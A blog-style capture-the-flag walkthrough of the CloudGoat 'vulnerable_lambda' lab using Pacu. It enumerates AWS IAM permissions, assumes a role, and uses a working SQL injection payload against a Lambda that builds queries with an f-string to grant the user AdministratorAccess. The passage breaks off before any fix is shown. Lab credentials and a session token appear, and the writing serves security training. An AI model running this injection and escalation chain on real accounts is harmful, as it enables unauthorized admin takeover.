CloudGoat – vulnerable_lambda with Pacu

Eduard Schwarzkopf
8. February 2024
Reading time: 19 min
CloudGoat – vulnerable_lambda with Pacu

As I aim to sharpen my cloud security expertise, I embrace the concept of practical, hands-on experience. Rhino Security Labs provides the indispensable tools for this journey. 

CloudGoat will deploy intentionally vulnerable cloud environments. Yes, intentionally vulnerable! So when you use it yourself, make sure to use a dedicated AWS account! Pacu will be my partner in crime here. Pacu is a powerhouse for pentest AWS environments. I’m going to use it to capture the flag, but this does not end there! Oh no no no! We want to learn about both sides. I will not only exploit weaknesses but also see how I can fix them. 

The Starting Block: Setting Up CloudGoat 

Before anything else, we deploy the vulnerable environment. 

$ ./cloudgoat.py create vulnerable_lambda 
... 
 
Apply complete! Resources: 8 added, 0 changed, 0 destroyed. 
 
Outputs
 
cloudgoat_output_aws_account_id = "<account_id>" 
cloudgoat_output_bilbo_access_key_id = "AKIAZQ3DQJ3M34LJ5K7U" 
cloudgoat_output_bilbo_secret_key = <sensitive> 
profile = "cloud-goat" 
scenario_cg_id = "vulnerable_lambda_cgidsr4kzoh3iq" 
 
[cloudgoat] terraform apply completed with no error code. 
 
[cloudgoat] terraform output completed with no error code. 
cloudgoat_output_aws_account_id = <account_id> 
cloudgoat_output_bilbo_access_key_id = AKIAZQ3DQJ3M34LJ5K7U 
cloudgoat_output_bilbo_secret_key = 78MEA/5OLO4QvSGz61eg******************** 
profile = cloudgoat 
scenario_cg_id = vulnerable_lambda_cgidsr4kzoh3iq 

Upon successful deployment, it is time to hack ourselves! 

Can we break it? Yes we can!

Engaging with Pacu 

Firing up Pacu, we create a new session aptly named after our target environment, “vulnerable_lambda”. 

$ pacu 
 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀ 
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧ 
⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿ 
⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟ 
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁ 
⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀ 
⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀ 
⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟ 
⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀ 
Version: 1.5.1 
 
Found existing sessions: 
  [0] New session 
Choose an option: 0 
What would you like to name this new session? vulnerable_lambda 
Session vulnerable_lambda created. 

Next, set the keys from CloudGoat-generated credentials: 

Pacu (vulnerable_lambda:No Keys Set) > set_keys 
Setting AWS Keys... 
Press enter to keep the value currently stored. 
Enter the letter C to clear the value, rather than set it. 
If you enter an existing key_alias, that key's fields will be updated instead of added. 
Key alias must be at least 2 characters 
 
Key alias [AKIAZQ3DQJ3M34LJ5K7U]: bilbo 
Access key ID [None]: AKIAZQ3DQJ3M34LJ5K7U 
Secret access key [None]: 78MEA/5OLO4QvSGz61eg******************** 
Session token (Optional - for temp AWS keys only) [None]:  
 
Keys saved to database. 
 
Pacu (vulnerable_lambda:bilbo) >  

As is tradition, time to see who we are: 

Pacu (vulnerable_lambda:bilbo) > whoami 
{ 
  "UserName": null, 
  "RoleName": null, 
  "Arn": null, 
  "AccountId": null, 
  "UserId": null, 
  "Roles": null, 
  "Groups": null, 
  "Policies": null, 
  "AccessKeyId": "AKIAZQ3DQJ3M34LJ5K7U", 
  "SecretAccessKey": "78MEA/5OLO4QvSGz61eg********************", 
  "SessionToken": null, 
  "KeyAlias": "bilbo", 
  "PermissionsConfirmed": null, 
  "Permissions": 
    "Allow": {}, 
    "Deny": {} 
  

Not much to see here. Yet! No worries, we will fill this up with data in no time! 

Unraveling the Intricacies: Enumeration 

Pacu excels in information-gathering. Run the ls command, and see for yourself. But for now, let’s get back to business. 

Let’s gather some information about bilbo’s permissions: 

Pacu (vulnerable_lambda:bilbo) > run iam__enum_permissions 
  Running module iam__enum_permissions... 
[iam__enum_permissions] Confirming permissions for users: 
[iam__enum_permissions]   cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq... 
[iam__enum_permissions]     Confirmed Permissions for cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq 
[iam__enum_permissions] iam__enum_permissions completed. 
 
[iam__enum_permissions] MODULE SUMMARY: 
 
  Confirmed permissions for user: cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq. 
  Confirmed permissions for 0 role(s)

So, what can we do here? 

Pacu (vulnerable_lambda:bilbo) > whoami 
{ 
  "UserName": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq", 
  "RoleName": null, 
  "Arn": "arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq", 
  "AccountId": "<account_id>", 
  "UserId": "AIDAZQ3DQJ3M2KQGNDJZC", 
  "Roles": null, 
  "Groups": [], 
  "Policies":
    
      "PolicyName": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq-standard-user-assumer" 
    
  ], 
  "AccessKeyId": "AKIAZQ3DQJ3M34LJ5K7U", 
  "SecretAccessKey": "78MEA/5OLO4QvSGz61eg********************", 
  "SessionToken": null, 
  "KeyAlias": "bilbo", 
  "PermissionsConfirmed": true
  "Permissions": 
    "Allow": 
      "sts:assumerole": 
        "Resources":
          "arn:aws:iam::<account_id>:role/cg-lambda-invoker*" 
        
      }, 
      "iam:listpoliciesgrantingserviceaccess": 
        "Resources":
          "*" 
        
      }, 
... 

Assuming roles beginning with cg-lambda-invoker. That is an interesting find! No worries, I’ve truncated the rest because it was boring. 

Time to switch hats! 

Probing Further: A Deeper Dive 

Running the iam__enum_users_roles_policies_groups command helps to gather details about users, roles, policies, and groups. This will help us to detection more potential privilege escalation paths. 

> run   iam__enum_users_roles_policies_groups 
  Running module iam__enum_users_roles_policies_groups... 
[iam__enum_users_roles_policies_groups] Found 2 users 
[iam__enum_users_roles_policies_groups] Found 23 roles 
[iam__enum_users_roles_policies_groups] Found 0 policies 
[iam__enum_users_roles_policies_groups] Found 0 groups 
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed. 
 
[iam__enum_users_roles_policies_groups] MODULE SUMMARY: 
 
  2 Users Enumerated 
  2 Roles Enumerated 
  0 Policies Enumerated 
  0 Groups Enumerated 
  IAM resources saved in Pacu database. 

Sounds good, now let’s check what roles we’ve collected: 

Pacu (vulnerable_lambda:bilbo) > data IAM Roles 
{ 
  "Groups": [], 
  "Policies": [], 
  "Roles":
  
    "Arn": "arn:aws:iam::<account_id>:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
    "AssumeRolePolicyDocument": 
      "Statement":
        
          "Action": "sts:AssumeRole", 
          "Effect": "Allow", 
          "Principal": 
            "Service": "lambda.amazonaws.com" 
          }, 
          "Sid": "" 
        
      ], 
      "Version": "2012-10-17" 
    }, 
    "CreateDate": "Mon, 22 Jan 2024 09:08:45", 
    "MaxSessionDuration": 3600
    "Path": "/", 
    "RoleId": "AROAZQ3DQJ3M7SZZURA5O", 
    "RoleName": "vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
  

Sidenote: If you need to be more sneaky, you can use a less noisy command (Yes, you can execute it directly in Pacu): 

Pacu (vulnerable_lambda:bilbo) > aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json 
 

    { 
        "Path": "/"
        "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq"
        "RoleId": "AROAZQ3DQJ3M6KT6GMLQ2"
        "Arn": "arn:aws:iam::<account_id>:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq"
        "CreateDate": "2024-01-22T09:09:00Z"
        "AssumeRolePolicyDocument": { 
            "Version": "2012-10-17"
            "Statement": [ 
                { 
                    "Sid": ""
                    "Effect": "Allow"
                    "Principal": { 
                        "AWS": "arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq" 
                    }, 
                    "Action": "sts:AssumeRole" 
                } 
            ] 
        }, 
        "MaxSessionDuration": 3600 
    } 

This one allows you to get the role directly by name. 

Next, naturally, is to assume the role: 

Pacu (vulnerable_lambda:bilbo) > assume_role arn:aws:iam::<accound_id>:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq 
AWS key is now vulnerable_lambda/arn:aws:sts::<accound_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role. 

Then, reaffirm the permissions afforded by the role with run iam__enum_permissions. 

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > run iam__enum_permissions 
  Running module iam__enum_permissions... 
[iam__enum_permissions] Confirming permissions for roles: 
[iam__enum_permissions]   cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq... 
[iam__enum_permissions]     Confirmed permissions for cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq 
[iam__enum_permissions] iam__enum_permissions completed. 
 
[iam__enum_permissions] MODULE SUMMARY: 
 
  Confirmed permissions for 0 user(s)
  Confirmed permissions for role: cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq. 

So what permissions do I have with the assumed role: 

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > whoami 
{ 
  "UserName": null, 
  "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq", 
  "Arn": "arn:aws:sts::<account_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role", 
  "AccountId": "<account_id>", 
  "UserId": "AROAZQ3DQJ3M6KT6GMLQ2:assume-role", 
  "Roles": null, 
  "Groups": null, 
  "Policies":
    
      "PolicyName": "lambda-invoker" 
    
  ], 
  "AccessKeyId": "ASIAZQ3DQJ3MZKZGCH42", 
  "SecretAccessKey": "H+dnL75RwBCftB3GI/fH********************", 
  "SessionToken": "FwoGZXIvYXdzEJ3//////////wEaDKvgFBQzBycfRqkG6iKvAeWY5GroKF0s2b6rNDjKMYBbjVQ1+Fc568vgUHLkAb1C1JB2CaIfkFPuol0TpoJ8bK8QtOwkgGSTmYWZIj2fLtOV4L0uz6uik9y06NqFd57kZvrN3G42Jol9d4fsCI29/yJ6B/m/AKJxWpm9jFsgq41cMYH63JvURjIAOnNarYvymtkEhl0fIwx1Y/r2Iy9/KEy9Kd4WUBp9M5YG110eDB94IzmetDcPxxsqu+rzs/go1Z65rQYyLfM87iUrvgXY+CfSXWLhIupq6Qp0r19ARTugyn7Y+FQsviTkUUwn3AiBpOhVYA==", 
  "KeyAlias": "vulnerable_lambda/arn:aws:sts::<account_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role", 
  "PermissionsConfirmed": true
  "Permissions": 
    "Allow": 
      "lambda:invokefunction": 
        "Resources":
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        
      }, 
      "lambda:getpolicy": 
        "Resources":
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        
      }, 
      "lambda:listfunctioneventinvokeconfigs": 
        "Resources":
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        
      }, 
      "lambda:getfunction": 
        "Resources":
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        
      }, 
      "lambda:listtags": 
        "Resources":
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        
      }, 
... 

Again, you are welcome! I’ve truncated the most boring part. It was a lot! It seems like we can invoke as well as take a look at the code. So let’s do exactly that! 

Enumerating the functions with the following command: 

run lambda__enum --regions us-east-1 
  Running module lambda__enum... 
[lambda__enum] Starting region us-east-1... 
[lambda__enum] Access Denied for get-account-settings 
[lambda__enum]   Enumerating data for vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   Enumerating data for aws-controltower-NotificationForwarder 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
    [+] Secret (ENV): sns_arn= arn:aws:sns:us-east-1:<redacted_account_id>:aws-controltower-AggregateSecurityNotifications 
[lambda__enum] lambda__enum completed. 
 
[lambda__enum] MODULE SUMMARY: 
 
  2 functions found in us-east-1. View more information in the DB

Ok, looking good, let’s check the data now: 

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > data lambda 
{ 
  "Functions":
    
      "Aliases": [], 
      "Architectures":
        "x86_64" 
      ], 
      "Code": 
        "Location": "https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/<account_id>/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1-74b0fec8-4a97-42f5-a7e5-4e08a1dceca6?versionId=AbrQM12U728mSbM8EB2CVA71KHPx6A7a&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIF0vtXyFrsNn1%2FgU%2BAFfji7b%2Bxo1S8cneaiXkYlQtY%2FYAiBdPylMiB%2B2EdcmuY92d0UFwn2QQiwkXUDfzlOhLOCTVCq5BQhDEAQaDDQ3OTIzMzAyNTM3OSIM0jeCobPA4QxZ%2FBa0KpYFuda6OBslKCCw%2BX5wjyARAcK39gRRS9EfNftFRq2yMGAFAx2c0NbhPkEDmFUlzfCDSbni6jx4UhdZwKYCbptHO6Huj9wgcR8%2F92iDJbZze2PW7aGxUSqR8uXrZPOmDS4T096GY2orrZfBv0eidl0Ub4hBNasZvtxyhHE0wCR4%2BVH6Akr4dvQ7lZ2obpAloCGmCxgfYegk5XCTMiUp7L1hspcQJhZOtnvZ3ZGgmMbtBdUTlPNhkm52Q%2FppCtwu%2BwSH%2FtFhbkl5K0QhehVgommT05NtIU%2FE1c8wI58mKiQbBWGFkYpKPEHLlyix78uXRyVydTWKi0GClljP8%2FX%2Fg5r5b0xnJSenm9WrKH%2FrdGPF9ZVkyyDM7RHXSPnf%2FjJxiqtHhwuvdZXfjAOmZyBZhL9%2FIrsuHMQqvI%2FKG8VVSfcpyRYOr8hc50SuhHdSRN4s5mPNtSdanpfgbxeIuEvS%2Bid4NJ227oKXZL0vbGyH7ePOcuUq%2F%2FVgFB05PXONw4KELERPacGVN2G8%2Fs0hLdOD4WOOh4MpZRdlcUnKhIEr3vteIAQepcC1x%2FshMRfFHFEtxJYqQ5ZniZ1D6eBb9RTfgfBITfqt6jLPZ98Fxc2KTWv%2F3MeXI0a309%2BNjsJzodAqsJkCprDJqjnON2U%2BYHq9pAr4LM%2F%2BT2xM7Xqnw5MXiZROFdIdvtIXbxyS%2FpbwLQ5tG4o6Djy%2FpkQ%2BAINV7RcPgLmDy9EWrLefCljCs8GfavXLjy9a4z7Md6dGrMQZ%2FOxjE9cOYvpFynVif8g33lPmRho1QFo3hCVWrAvyRm812O2YARXTZRw3j6SyFOHMxWOE6zf%2FUbEuRZj5FCPE6YF6IeOkj3qZC0WbsNDA2Rt%2Fu%2F0uqEcL%2FRS%2BEoIws%2F%2B4rQY6sgEAv0MRiEXShsQZV%2B%2FFuywDIVANfVl98eT87G6jEp3QfdloB9Vwa%2BJXD9i7KK3wDwrurR33C2b%2F%2FtuzbEfZk%2BahMa6bsyWwdh6uFdAsAigzUmbeBqG83Tz1E4XIzhHaunVuXT89lBwVMUEUjUwGyJER2cf5R%2F7SwqKiUBkR7pTWVlKrCQU46giPbiPMoVA%2FisNZrV8rstIYLy0l5HkYalLbIL%2Fwv155DjSTMH%2Bioo3w2Qvv&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240122T112938Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVRVMAKHAM5%2F20240122%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=b1d13bccc07c662c7d9905a896beab10ac09864c0f0c40ec72cff9f5eaea147f", 
        "RepositoryType": "S3" 
      }, 
      "CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=", 
      "CodeSize": 991559
      "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...", 
      "EphemeralStorage": 
        "Size": 512 
      }, 
      "EventSourceMappings": [], 
      "FunctionArn": "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
      "FunctionName": "vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
      "Handler": "main.handler", 
      "LastModified": "2024-01-22T09:08:54.154+0000", 
      "LoggingConfig": 
        "LogFormat": "Text", 
        "LogGroup": "/aws/lambda/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
      }, 
      "MemorySize": 128
      "PackageType": "Zip", 
      "Policy": [], 
      "Region": "us-east-1", 
      "RevisionId": "a676a698-649e-49a4-bd8f-b751660672ef", 
      "Role": "arn:aws:iam::<account_id>:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
      "Runtime": "python3.9", 
      "SnapStart": 
        "ApplyOn": "None", 
        "OptimizationStatus": "Off" 
      }, 
      "Tags": 
        "Name": "cg-vulnerable_lambda_cgidsr4kzoh3iq", 
        "Scenario": "vulnerable-lambda", 
        "Stack": "CloudGoat" 
      }, 
      "Timeout": 3
      "TracingConfig": 
        "Mode": "PassThrough" 
      }, 
      "Version": "$LATEST
    }, 
    
      "Aliases": [], 
      "Architectures":
        "x86_64" 
      ], 
      "Code": [], 
      "CodeSha256": "/21kC0haUQolunH5/N+OTt8AgxyL0oYlqyio7yqrIYY=", 
      "CodeSize": 473
      "Description": "SNS message forwarding function for aggregating account notifications.", 
      "Environment": 
        "Variables": 
          "sns_arn": "arn:aws:sns:us-east-1:<redacted_account_id>:aws-controltower-AggregateSecurityNotifications" 
        
      }, 
      "EphemeralStorage": 
        "Size": 512 
      }, 
      "EventSourceMappings": [], 
      "FunctionArn": "arn:aws:lambda:us-east-1:<account_id>:function:aws-controltower-NotificationForwarder", 
      "FunctionName": "aws-controltower-NotificationForwarder", 
      "Handler": "index.lambda_handler", 
      "LastModified": "2024-01-09T08:35:39.854+0000", 
      "LoggingConfig": 
        "LogFormat": "Text", 
        "LogGroup": "/aws/lambda/aws-controltower-NotificationForwarder" 
      }, 
      "MemorySize": 128
      "PackageType": "Zip", 
      "Policy": [], 
      "Region": "us-east-1", 
      "RevisionId": "c21d6858-ae99-4e33-bb4e-cea3868c1d68", 
      "Role": "arn:aws:iam::<account_id>:role/aws-controltower-ForwardSnsNotificationRole", 
      "Runtime": "python3.9", 
      "SnapStart": 
        "ApplyOn": "None", 
        "OptimizationStatus": "Off" 
      }, 
      "Tags": [], 
      "Timeout": 60
      "TracingConfig": 
        "Mode": "PassThrough" 
      }, 
      "Version": "$LATEST
    
  

This time I didn’t truncate anything, happy now? 😜 

Infiltration Success: Commandeering Lambda Functions 

I’m always down to read some code, are you? 

import boto3 
from sqlite_utils import Database 
 
db = Database("my_database.db") 
iam_client = boto3.client('iam') 
 
 
# db["policies"].insert_all([ 
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},  
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AdministratorAccess", "public": 'False'} 
# ]) 
 
 
def handler(event, context)
    target_policys = event['policy_names'] 
    user_name = event['user_name'] 
    print(f"target policys are : {target_policys}") 
 
    for policy in target_policys: 
        statement_returns_valid_policy = False 
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" 
        for row in db.query(statement)
            statement_returns_valid_policy = True 
            print(f"applying {row['policy_name']} to {user_name}") 
            response = iam_client.attach_user_policy( 
                UserName=user_name, 
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}" 
            ) 
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode'])) 
 
        if not statement_returns_valid_policy: 
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " 
                                       f"policies and don't cheat. :) " 
            print(invalid_policy_statement) 
            return invalid_policy_statement 
 
    return "All managed policies were applied as expected." 
 
 
if __name__ == "__main__": 
    payload = 
        "policy_names":
            "AmazonSNSReadOnlyAccess", 
            "AWSLambda_ReadOnlyAccess" 
        ], 
        "user_name": "cg-bilbo-user" 
    
    print(handler(payload, 'uselessinfo')) 

I guess this is why we have a review process in place. Have you spotted the vulnerability? 

Check line 26: 

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" 

This is an unfiltered SQL statement. Which just screams “please exploit me with SQL Injection!”.

Are we going to do that?… Of course! 

Capitalizing on Vulnerabilities: SQL Injection Exploit 

Naturally, we want to have AdministratorAccess. Why even go for less? All we need to do is simply, with a comment at the end of the statement, circumvent the last check and escalate our privileges. 

We pass a value for policy that does the actual injection: AdministratorAccess’ –. Python blindly inserts the value of policy into the string which leads to the following SQL command: 

select policy_name from policies where policy_name='AdministratorAccess' --' and public='True

Let’s do this! 

For readability, you can check out the payload as json here: 

{ 
    "policy_names":
        "AdministratorAccess' --" 
    ], 
    "user_name": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq" 

I’m going to invoke the function with the payload inline via the AWS CLI with Pacu: 

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > aws lambda invoke --function-name vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'"'"' --"],"user_name": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq"}' \response.json --region us-east-1 
 

    "StatusCode": 200, 
    "ExecutedVersion": "$LATEST

Status 200! Sounds promising. Let’s see if that worked as expected. Swapping back to bilbo. 

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > swap_keys 
 
Swapping AWS Keys. Press enter to keep the currently active key. 
